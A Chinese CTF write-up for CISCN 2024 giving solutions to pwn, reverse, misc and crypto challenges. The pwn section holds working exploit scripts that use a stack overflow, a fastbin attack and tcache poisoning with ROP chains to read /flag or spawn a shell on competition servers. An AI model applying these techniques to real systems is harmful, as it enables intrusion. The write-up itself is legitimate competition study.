CISCN 2024

 

image-20240519171617792

image-20240519180159193

恭喜HASHTEAM@SDU在本届国赛获得山东省第一,华东北第六,全国前五十的好成绩!🎉🎉

一队wp懒得转md了,放个二队的

Pwn

gostack

ida打开发现是go,动调发现输入很多字符会导致栈溢出而程序报错退出

简单找了一下向栈上写数据的位置,找到任意长度栈溢出,但是不能破坏rbp上方的部份数据

大体思路是进行栈溢出的时候保护好原有的栈结构,可以先dump一段栈加到payload中,再进行ret2syscall

exp如下:

#!/bin/python3

from pwn import *
context.arch = 'amd64'
c = remote("8.147.131.163", 22191)
poprdir14r13r12rbprbx = 0x00000000004a18a5
poprdx = 0x00000000004944ec
poprsi = 0x000000000042138a
poprax = 0x000000000040f984
syscall = 0x00000000004616c9
#syscall ; ret
payload = flat(0x4aa800, 0x8, 0x4aa800, 0xc000090340, 0x4aa800, 0x4df040, 0xc00004ad98, 0x100, 0x100, 0x4df4e8, 0xc0000b4000, 0x4c5dd0, 0x10000, 0xc0000bc000, 0x8, 0x1000, 0xc0000bc000, 0x1000, 0x1000, 9, 9, 0, 0, 1)

#pading + ori_stack + rop
c.sendlineafter('message :\n', cyclic(0x100) + payload + flat(0xdeadbeef, 0, poprax, 0, poprdir14r13r12rbprbx, 0, 0, 0, 0, 0, 0, poprsi, 0x549000, poprdx, 8, syscall, poprax, 2, poprdir14r13r12rbprbx, 0x549000, 0, 0, 0, 0, 0, poprsi, 0, poprdx, 0, syscall, poprax, 0, poprdir14r13r12rbprbx, 3, 0, 0, 0, 0, 0, poprsi, 0x549000, poprdx, 50, syscall, poprax, 1, poprdir14r13r12rbprbx, 1, 0, 0, 0, 0, 0, poprsi, 0x549000, poprdx, 50, syscall,))

c.send(b'/flag\0')

c.interactive()

flag{c3182eaa-5d80-4c89-9e79-27a2aab4ba0d}

orange_cat_diary

堆溢出改top_chunk size,申请大于top_size的堆块,释放到unsorted bin,一次show泄露libc,一次free释放至fastbin,uaf打fastbin attack , 写onegadget getshell

from Excalibur2 import*

proc("./pwn")
remo("8.147.132.163:17545")
lib("./libc-2.23.so")

default("h")

def add(size, data):
    sla("choice","1")
    sla("length of the diary content:",str(size))
    sla("content:",data)

def show():
    sla("choice","2")

def dele():
    sla("choice","3")

def edit(size, data):
    sla("choice","4")
    sla("length of the diary content:",str(size))
    sla("content:",data)


sl("aaaa")
debug("b *$rebase(0xCD9)\n b *$rebase(0xBF5)\n b *$rebase(0xDE9)\n b *$rebase(0xD83)\n")# edit add show dele
# add(0x420,"A")
# add(0x20,"A")
# add(0x420,"A")
# dele()
# show()

# addr = get_addr64()

# debug("b *$rebase(0xCD9)\n")

## heap overflow
add(0x68,"A")
# dele()
edit(0x70,b"A"*0x68+p64(0xF91))
add(0x1000,"A")
add(0xf60,"A")
show()

addr = get_addr64()
addr = get_addr64()
libc = addr -0x3c4b78
lg("libc base",libc)
malloc_hook = libc+libcsym("__malloc_hook")
lg("malloc_hook",malloc_hook)

og = [0x45226,0x4527a,0xf03a4,0xf1247]
add(0x68,"B")
dele()
edit(0x70,p64(malloc_hook-0x23))
add(0x68,"B")
lg("os",libc+og[0])
add(0x68,b'a'*0x13+p64(libc+og[2]))
sla("choice","1")
sla("length of the diary content:",str(0x20))
# add(0x68,"B"*0x68)
# dele()
# edit(0x70,b"B"*0x68+p64(0xFFFF))
# add(0x1000,"B"*0x1000)
# add(0xf60,"B"*0xf60)

# dele()

ia()


"""
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

image-20240519180913537

EzHeap

经典的堆模板题,审计发现edit存在任意长度堆溢出

可以利用unsorted bin泄露libc,利用tcache泄露堆上基地址,而且可以利用tcache poisoning实现任意地址读写。

大体思路是泄露libcbase、heapbase,通过environ泄露stack上的地址,然后构造rop写到栈上返回地址。

exp如下:

#!/bin/python3

from pwn import *

libc = ELF("./libc.so")
elf = ELF("./pwn")
c = remote("8.147.133.9", 18394)
context.arch = 'amd64'

def cmd(cmdid):
    c.sendlineafter(b'>> ', str(cmdid).encode())
def add(size, data):
    cmd(1)
    c.sendlineafter(b'size:', str(size).encode())
    if type(data) == str: data = data.encode()
    c.sendlineafter(b'content:', data)
def delete(idx):
    cmd(2)
    c.sendlineafter(b'idx:', str(idx).encode())
def show(idx):
    cmd(4)
    c.sendlineafter(b'idx:', str(idx).encode())
def edit(idx, size, data, line = True):
    cmd(3)
    c.sendlineafter(b'idx:', str(idx).encode())
    c.sendlineafter(b'size:', str(size).encode())
    if line: c.sendlineafter(b'content:', data)
    else: c.sendafter(b'content:', data)

add(0x318, b'')#0
add(0x318, b'')#1
add(0x418, b'')#2
add(0x318, b'')#3

delete(2)
edit(1, 0x320, cyclic(0x31f))
show(1)
libc.address = u64(c.recvuntil(b'\x7f')[-6:] + b'\0\0') - 0x21ace0
success(f"libcbase = {hex(libc.address)}")
edit(1, 0x320, b'\0' * 0x318 + p64(0x420), False)

for i in range(12):
    add(0x68, b'')#2 4-14

add(0x68, b'')#15
add(0x68, b'')#16
add(0x68, b'')#17
add(0x68, b'')#18
delete(16)
delete(17)
edit(15, 0x70 + 0x68, cyclic(0x6f + 0x68))
show(15)

c.recvuntil(b'daa\n')

heapbase = u64(c.recv(6) + b'\0\0') - 0x8b0 + 0x200
success(f"heapbase = {hex(heapbase)}")
key = heapbase >> 12
success(f"key = {hex(key)}")

add(0x28, b'')#16
add(0x28, b'')#17
add(0x28, b'')#19
add(0x28, b'')#20

add(0x28, b'')#21
add(0x28, b'')#22
add(0x28, b'')#23
add(0x28, b'')#24

delete(23)
delete(22)
info(f"{hex(libc.address + 0x222200 - 0x30)}")
edit(21, 0x38, cyclic(0x28) + flat(0x31, (libc.address + 0x222200 - 0x30) ^ key), False)
add(0x28, b'')#22
add(0x28, cyclic(0x27))#23
edit(23, 0x30, cyclic(0x30), False)
show(23)
c.recvuntil(b'laaa')
stackbase = u64(c.recv(6) + b'\0\0') - 0x170
success(f"stackbase = {hex(stackbase)}")
for i in range(12):
    add(0xe8, b'')#21 22 24-28

add(0xe8, b'')#36
add(0xe8, b'')#37
add(0xe8, b'')#38
add(0xe8, b'/flag\0')#39

delete(38)
delete(37)

edit(36, 0xf8, cyclic(0xe8) + flat(0xf1, ((stackbase - 8) ^ (key + 0x2))), False)

poprax = libc.address + 0x0000000000045eb0
poprdi = libc.address + 0x000000000002a3e5
poprsi = libc.address + 0x000000000002be51
poprdxrbx = libc.address + 0x00000000000904a9
syscallret = libc.address + 0x0000000000091316
flag = heapbase + 0x3090

add(0xe8, b'')#37
add(0xe8, flat(1, poprax, 2, poprdi, flag, poprsi, 0, poprdxrbx, 0, 0, syscallret,
               poprax, 0, poprdi, 3, poprsi, flag, poprdxrbx, 50, 0, syscallret,
               poprax, 1, poprdi, 1, syscallret))#38

c.interactive()

flag{248c8af8-6803-4138-a382-34c040bada67}

Reverse

asm_re

一堆汇编,扔给GPT反编译出的main函数逻辑。

#include <stdio.h>
#include <string.h>

int main() {
    char flag[] = "flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
    char dst[152];
    int flag_len, i, j;
    int transformed_flag[100];
    int success = 1;

    // Copy 152 bytes from source to destination
    memcpy(dst, "some source string here, assumed to be 152 bytes", 152);

    // Get the length of the flag
    flag_len = strlen(flag);

    // Transform the flag characters
    for (i = 0; i < flag_len; i++) {
        transformed_flag[i] = (((flag[i] * 80) + 20) ^ 77) + 30;
    }

    // Zero-terminate the transformed array
    transformed_flag[flag_len] = 0;

    // Compare the transformed array with the first 152 bytes of destination
    for (i = 0; i <= flag_len; i++) {
        if (transformed_flag[i] != ((unsigned int*)dst)[i]) {
            success = 0;
            break;
        }
    }

    // Print result
    printf("\n");

    return success;
}

扒出密文,写脚本解密得到flag

#include <stdio.h>

int main() {
    unsigned char data[] = {
        0xD7, 0x1F, 0x00, 0x00, 0xB7, 0x21, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00, 0x27, 0x20, 0x00, 0x00,
        0xE7, 0x26, 0x00, 0x00, 0xD7, 0x10, 0x00, 0x00, 0x27, 0x11, 0x00, 0x00, 0x07, 0x20, 0x00, 0x00,
        0xC7, 0x11, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00,
        0xF7, 0x11, 0x00, 0x00, 0x07, 0x20, 0x00, 0x00, 0x37, 0x10, 0x00q, 0x00, 0x07, 0x11, 0x00, 0x00,
        0x17, 0x1F, 0x00, 0x00, 0xD7, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00,
        0x67, 0x1F, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0xC7, 0x11, 0x00, 0x00, 0xC7, 0x11, 0x00, 0x00,
        0x17, 0x10, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00, 0x47, 0x0F, 0x00, 0x00,
        0x27, 0x11, 0x00, 0x00, 0x37, 0x10, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00, 0x37, 0x10, 0x00, 0x00,
        0xD7, 0x1F, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00,
        0x87, 0x27, 0x00, 0x00
    };

    for (int i = 0; i < 148; i += 4) {
        printf("0x%02x%02x, ", data[i + 1], data[i]);
    }
    int enc_flag[] = {
        0x1fd7, 0x21b7, 0x1e47, 0x2027, 0x26e7, 0x10d7, 0x1127, 0x2007, 0x11c7, 0x1e47, 0x1017, 0x1017, 0x11f7, 0x2007, 0x1037, 0x1107, 0x1f17,0x10d7,0x1017,0x1017,0x1f67,0x1017,0x11c7,0x11c7,0x1017,0x1fd7,0x1f17,0x1107,0x0f47,0x1127,0x1037,0x1e47,0x1037,0x1fd7,0x1107,0x1fd7,0x1107,0x2787};

    //        transformed_flag[i] = (((flag[i] * 80) + 20) ^ 77) + 30;
    for (int i = 0; i < 38; i++) {
        enc_flag[i] = (((enc_flag[i] - 30) ^ 77) - 20) / 80;
        printf("%c", enc_flag[i]);
    }

}

flag{67e9a228e45b622c2992fb5174a4f5f5}

androidso_re

从jadx中看到是CBC的DES

Quicker_20240518_151829

Quicker_20240518_151810

用7.7的IDA打开

从so中找到getkey和getiv

key如图

Quicker_20240518_151614

iv如图

iv1

iv2

写脚本解密

RC4 = [0x42,0xb1,0x66,0xdc,0x03,0x6d,0x45,0x1b,0xc2,0x3b,0x58,0xba]

key = [0x3,0x89,0x33,0xb8,0x54,0xc,0x20,0x6a]

for i in range(8):
    print(chr(RC4[i] ^ key[i]), end = '')

enc = "F2IjBOh1mRW="

for i in enc:
    if i.islower():
        print(chr((ord(i)-81)%26+97),end = '')
    elif i.isupper():
        print(chr((ord(i)-49)%26+65),end = '')
    else:
        print(i,end = "")

解密DES

Quicker_20240518_151553

flag{188cba3a5c0fbb2250b5a2e590c391ce}

gdb_debug

image-20240519174240711

image-20240519174255811

动态调试得到各个数据,xor_key、sbox这些,写脚本解密即可

#flag{0123456789abcdef0123456789abcdef}

a = r"flag{0123456789abcdef0123456789abcdef}"
b = [
0xBF, 0x63, 0x79, 0xDA, 0xBC, 0x26, 0xB0, 0x8C, 
0xCB, 0x7E, 0x50, 0xC4, 0x6A, 0x93, 0x12, 0x52, 
0xB6, 0xC6, 0x03, 0xFD, 0xF9, 0x4E, 0x1A, 0x6F,
0xF1, 0x9B, 0xBB, 0x0C, 0x7B, 0x9D, 0x4C, 0x44,
0xD6, 0xEE, 0x87, 0x1E, 0xC5, 0x19, 0x00, 0x00,
]

# for i in b:
#     for j in range(15, -1, -2):
#         print('0x'+i[j - 1]+i[j]+', ', end = '')
#     print()
xor_key1 = [0] * 38

for i in range(38):
    xor_key1[i] = ord(a[i]) ^ b[i]
s_box = [
0x12, 0x0E, 0x1B, 0x1E, 0x11, 0x05, 0x07, 0x01, 
0x10, 0x22, 0x06, 0x17, 0x16, 0x08, 0x19, 0x13, 
0x04, 0x0F, 0x02, 0x0D, 0x25, 0x0C, 0x03, 0x15,
0x1C, 0x14, 0x0B, 0x1A, 0x18, 0x09, 0x1D, 0x23,
0x1F, 0x20, 0x24, 0x0A, 0x00, 0x21, 0x00, 0x00,
]

# for i in s_box:
#     for j in range(15, -1, -2):
#         print('0x'+i[j - 1]+i[j]+', ', end = '')
#     print()

c = [
0x03, 0x12, 0x0C, 0x4C, 0xC6, 0x26, 0x8C, 0x63, 
0xB6, 0x87, 0xB0, 0x6F, 0x1A, 0xCB, 0x9B, 0xFD, 
0xBC, 0x52, 0x79, 0x93, 0x19, 0x6A, 0xDA, 0x4E,
0x7B, 0xF9, 0xC4, 0xBB, 0xF1, 0x7E, 0x9D, 0x1E,
0x44, 0xD6, 0xC5, 0x50, 0xBF, 0xEE, 0x00, 0x00,
]
d = [
0xDD, 0xB8, 0x4E, 0xB0, 0xCF, 0xCE, 0x3E, 0x65,
0xBB, 0x14, 0xD1, 0x9B, 0x3E, 0x82, 0x8E, 0xFC,
0x6B, 0xF9, 0x7D, 0x8B, 0xD6, 0x83, 0x0F, 0xD8,
0x48, 0x33, 0x3D, 0x91, 0xAF, 0x94, 0xB0, 0x22,
0xD0, 0xB9, 0xFD, 0xCD, 0xE7, 0x04, 0x00, 0x00,
]

# for i in c:
#     for j in range(15, -1, -2):
#         print('0x'+i[j - 1]+i[j]+', ', end = '')
#     print()
# print()
# for i in d:
#     for j in range(15, -1, -2):
#         print('0x'+i[j - 1]+i[j]+', ', end = '')
#     print()

xor_key2 = [0] * 38

for i in range(38):
    xor_key2[i] = c[i] ^ d[i]
enc_flag = [
    0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 
    0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88, 0x04, 0xD7, 0x12, 0xFE, 
    0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 
    0x9D, 0x4D, 0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78, 0x00, 0x00
]
key = "congratulationstoyoucongratulationstoy"

for i in range(38):
    enc_flag[i] ^= ord(key[i])

for i in range(38):
    enc_flag[i] ^= xor_key2[i]

flag = [0] *38
for i in range(38):
    flag[s_box[i]] = enc_flag[i]

for i in range(38):
    flag[i] ^= xor_key1[i]

for i in range(38):
    print(chr(flag[i]), end = '')

flag{78bace5989660ee38f1fd980a4b4fbcd}

MISC

火锅链观光打卡

签到,注册就行

大学生安全测试能力调研问卷

神秘文件

一共是10个part,吐了

misc日常思路先看看信息,在属性里面能看到信息,

`

用lanjing,得到头部flag{e

凯撒密码+base64

675efb

宏文件

3-34

直接输入解码还不行,发现是图层挡住了两个字母,

base64:6f-40

注释里找到一串,用basecrack跑出来

5f-90d

缩小找到

d-2

文本框名称里有

22b3

PPT模板说c1GFSbd3Dg6BODbdl移除掉B,b,1,3,得到后解码

87e

找到furry

dee

在和furry提示里一样的地方有一段编码,维吉尼亚解密

9}

flag{e675efb3-346f-405f-90dd-222b387edee9}

Power_Trajectory_Diagram

侧信道攻击,给脚本

import numpy as np
from scipy.stats import pearsonr


file = "attachment.npz"

data = np.load(file)

print(data.files)

index_data = data['index']
input_date = data['input']
output_data = data['output']
trace_data = data['trace']

print(index_data)
print(input_date)
print(output_data)
print(trace_data)

pwlen = 13

traces = {}
inputs = {}

for i in range(len(index_data)):
    index = index_data[i]
    if index not in traces:
        traces[index] = []
        inputs[index] = []

    traces[index].append(trace_data[i])
    inputs[index].append(input_date[i])

    # init dict
    hyp_key = {index:[]for index in range(pwlen)}

def DPA(traces, inputs):
    for index in range(pwlen):
        trace_set = np.array(traces[index])
        input_set = np.array(inputs[index])

        max_corr = -1
        best_guess = None

        for guess in set(input_set):
            hyp = np.array([1 if char == guess else 0 for char in input_set])

            mean = hyp.mean()
            diff = hyp-mean

            for t in range(trace_set.shape[1]):
                correlation,_=pearsonr(trace_set[:,t],diff)
                if abs(correlation) > max_corr:
                    max_corr = abs(correlation)
                    best_guess = guess
        
        hyp_key[index] = best_guess
        print(f"key[{index}]={best_guess}")

DPA(traces,inputs)

ciscn_2024

Crypto

用户信息访问控制

运行sh player.sh,发现存在越权读取和读取薪水失败。通过理解题目描述,审计目标文件发现权限等级配置为json格式,仿照给出模板填入cell段和email段:

{
        "name":"cell",
        "isleveladjust":1,
        "isselfdefine":0,
        "class":0,
        "level_fix":1,
        "level_adjust":-1
}
{
        "name":"email",
        "isleveladjust":1,
        "isselfdefine":0,
        "class":0,
        "level_fix":1,
        "level_adjust":-2
}

再次测试发现只有读取薪水错误,找到目标代码文件中要求修改的位置,按照题目要求进行字符串匹配即可。

int except_rule(char * record_name,char * read_user,char * record_user)
{
	int ret;
	if (!strcmp(record_name, "salary") && !strcmp(read_user, record_user)){
		return 1;
	}
	return 0;

}

但是由于题目环境不稳定,多次重新下发赛题才得到flag

flag{2bd37444-6367-4d45-adc1-53362106b671}

平台可信认证

审计题目要求可知,需要检查uuid与预期写入寄存器的值是否对应

但是在进行测试的时候,在verify_output末尾处插入如下代码时莫名其妙得到了flag:

if(verify_desc->result!=0)
{
        verify_result->name=dup_str("sign verify fail",0);
}
else
{
    if (verify_result->return_value[1] & 1){
        verify_result->name=dup_str("trust verify succeed",0);
    }
    else{
        verify_result->name=dup_str("trust verify fail",0);
    }	
    pcr_report=&(quote_report->pcrComp);
}

运行sh player.sh后给出了flag

flag{fcdfb7ac-7cc6-41fd-a19f-6ac6d563fa61}

OvO

题目中$e>n$,但是其中大于$2^{1024}$的部分只有$rr*n$,故缺失200位的$e’ = msb(e, 200)$仍有 \(rr = \lfloor \frac{e'}{n} \rfloor, kk=rr-2\)

有$rr,kk$后,令$e_0 \equiv e’ \equiv (kk + rr) \times p + rr \times q \pmod n$,则 \(e_1 \equiv \sqrt{e_0^2 - 4\times(rr+kk)\times rr \times n} \equiv (kk + rr) \times p - rr \times q\)

因而有$e_1 + e_2 + \epsilon \equiv 2 \times (kk + rr) \times p \pmod n$$,其中 $\epsilon$较小

应用coppersmith解得$\epsilon$,得$p = gcd(e_1 + e_2 + \epsilon, n), q = \frac{n}{p}$,$e = 65537 + kk \times p + rr \times (p+1) \times(q + 1) + 1$

进行rsa解密得到flag

from Crypto.Util.number import *

n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823

kk = e // n - 2

assert isPrime(int(kk))
rr = kk + 2

e_ = e % n
e__ = isqrt(e_ ^ 2 - 4 * (kk + rr) * rr * n)

F.<x> = PolynomialRing(Zmod(n))
f = x + e_ + e__
r = f.small_roots(X = 2^230, beta = 0.45, epsilon=0.03)[0]
p = GCD(r + e_ + e__, n)
q = n // p
assert isPrime(p) and p * q == n

phi = (p - 1) * (q - 1)

e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1

d = int(inverse(int(e), int(phi)))

print(long_to_bytes(int(pow(c, d, n))))

flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}

古典密码

先来一个Atbash密码,再用栅栏密码(2)

image-20240519184818970

fa{2b838a-97ad-e9f743lgbb07-ce47-6e02804c}

flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}